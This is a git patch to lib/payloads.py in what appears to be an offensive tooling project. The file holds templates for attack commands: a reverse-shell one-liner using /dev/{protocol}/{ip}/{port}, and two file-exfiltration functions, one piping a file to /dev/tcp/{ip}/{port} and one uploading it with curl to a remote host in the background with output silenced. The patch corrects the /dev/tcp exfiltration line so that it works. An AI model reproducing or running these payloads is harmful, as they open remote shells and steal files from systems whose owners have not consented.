From c7731f78f2319564a93499fe2d69d000806e7caf Mon Sep 17 00:00:00 2001 From: witchdocsec <107813117+witchdocsec@users.noreply.github.com> Date: Sun, 11 Jun 2023 23:45:05 +0100 Subject: [PATCH] Update payloads.py --- lib/payloads.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/payloads.py b/lib/payloads.py index a519a3f..ed7fceb 100644 --- a/lib/payloads.py +++ b/lib/payloads.py @@ -4,7 +4,7 @@ class Shells: return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &" class Exfil: def socket(ip,port,file): - return f"cat {file} | /dev/tcp/{ip}/{port} &" + return f"cat {file} &> /dev/tcp/{ip}/{port} ;" def pflask(ip, port, file): return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "